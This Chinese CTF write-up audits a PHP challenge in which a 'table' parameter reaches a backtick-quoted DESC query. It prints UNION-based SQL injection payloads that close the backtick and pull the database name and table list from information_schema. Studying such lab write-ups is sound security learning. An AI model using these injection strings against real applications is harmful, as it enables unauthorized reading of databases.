代码审计分段讲解之29题,代码如下:

<?php

require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0]; ?>

题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/

我们直接开始进行代码审计

包含config.php文件

require("config.php");

使用GET方式传入table,赋值给table,默认为test

接着对table进行过滤

$table = Filter($table);

这里的Filter函数是我们不知道的,不过不影响代码审计

接着是

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

该行代码的意思为:

当mysqli_query()函数执行成功,则不调用Hacker()函数

当mysqli_query()函数执行失败,则调用Hacker()函数

对于mysqli_query函数的解释:

mysqli_query() 函数执行某个针对数据库的查询。//定义
mysqli_query(connection,query,resultmode);//语法

也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:

又有:

从上图中可以看出来有:

desc xxx xxx;

desc `xxx` `xxx`

desc 'xxx' 'xxx'

desc "xxx" "xxx"

语句一和语句二是同样的效果,能够正常执行

语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。

关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849

反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

select `from` from test

接下来的代码是一段SQL语句查询,并且输出第一个结果:

$ret = sql_query($sql);
echo $ret[0];

我们闭合反引号进行注入:

默认为:

desc `secret_test`
select 'flag{xxx}' from secret_test

查询数据库为:

desc `secret_test` `union select database() limit 1,1
select 'flag{xxx}' from secret_test` `union select database() limit 1,1

得知数据库为:

61d300

获取表

desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

得知表为

secret_flag,secret_test

后面的注入不再赘述。

提一下这个部分:

select 'flag{xxx}' from secret_test` `union select database() limit 1,1

这里的

secret_test` `union

关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。

再提一下这个部分:

limit 1,1

因为可以看到代码最后是:

echo $ret[0];

因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。

参考链接:

PHP代码审计分段讲解(13)的更多相关文章

  1. PHP代码审计分段讲解(14)

    30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...

  2. PHP代码审计分段讲解(11)

    后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...

  3. PHP代码审计分段讲解(5)

    11 sql闭合绕过 源代码为 <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("**** ...

  4. PHP代码审计分段讲解(1)

    PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...

  5. PHP代码审计分段讲解(12)

    28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...

  6. PHP代码审计分段讲解(10)

    26 unserialize()序列化 <!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?ph ...

  7. PHP代码审计分段讲解(9)

    22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...

  8. PHP代码审计分段讲解(8)

    20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...

  9. PHP代码审计分段讲解(7)

    17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...

随机推荐

  1. js try catch 获取错误信息

    try{ alert(i); }catch(e){ console.log(e.message,e.name,e.lineNumber) } message -- 错误提示信息 fileName -- ...

  2. RoekerMQ4.x可视化控制台安装

    1.下载 https://github.com/apache/rocketmq-externals 2.解压文件tar -zxvf rocketmq-externals-master.zip 3.移动 ...

  3. martini-实例-脂质双分子层

    Martini粗粒化模型一开始就是为脂质开发的.(http://jerkwin.github.io/2016/11/03/Martini%E5%AE%9E%E4%BE%8B%E6%95%99%E7%A ...

  4. 378. Kth Smallest Element in a Sorted Matrix(大顶堆、小顶堆)

    Given a n x n matrix where each of the rows and columns are sorted in ascending order, find the kth ...

  5. fio的配置使用

    将fio-2.1.10.tar.gz拷贝到linux服务器的/usr/src/下 解压源码包: root@grandocean:/usr/src# tar xvf fio-2.1.10.tar.gz ...

  6. kettle练习

    Kettle实现,把数据从CSV文件复制到Excel文件. 首先,创建一个转换,找到核心对象,找到输入里面的CVS文件输入图元,拖拽到工作区域,双击CVS文件输入. 可以修改步骤的名称,点击浏览,选择 ...

  7. [LeetCode题解]24. 两两交换链表中的节点 | 递归

    方法一:递归 解题思路 递归法,假设后续链表已经完成交换,此时只需要对前两个节点进行交换,然后再连接上后续已交换的链表即可. 代码 /** * Definition for singly-linked ...

  8. [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)

    简介  原题复现:  考察知识点:SQL注入(报错注入,绕过过滤)  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...

  9. phpstudy搭建网站只能访问首页,其他路由访问404

    今天博主遇到了一个很奇葩的问题,电脑下载了一个phpstudy搭建网站,框架用的是tp,但是除了输入域名能访问,其他页面都访问不了 经过博主的疯狂问大佬,以及百度,终于解决了这个问题 这次出现问题的原 ...

  10. 7、Spring Boot检索

    1.ElasticSearch简介 Elasticsearch是一个分布式搜索服务,提供Restful API,底层基于Lucene,采用多shard(分片)的方式保证数据安全,并且提供自动resha ...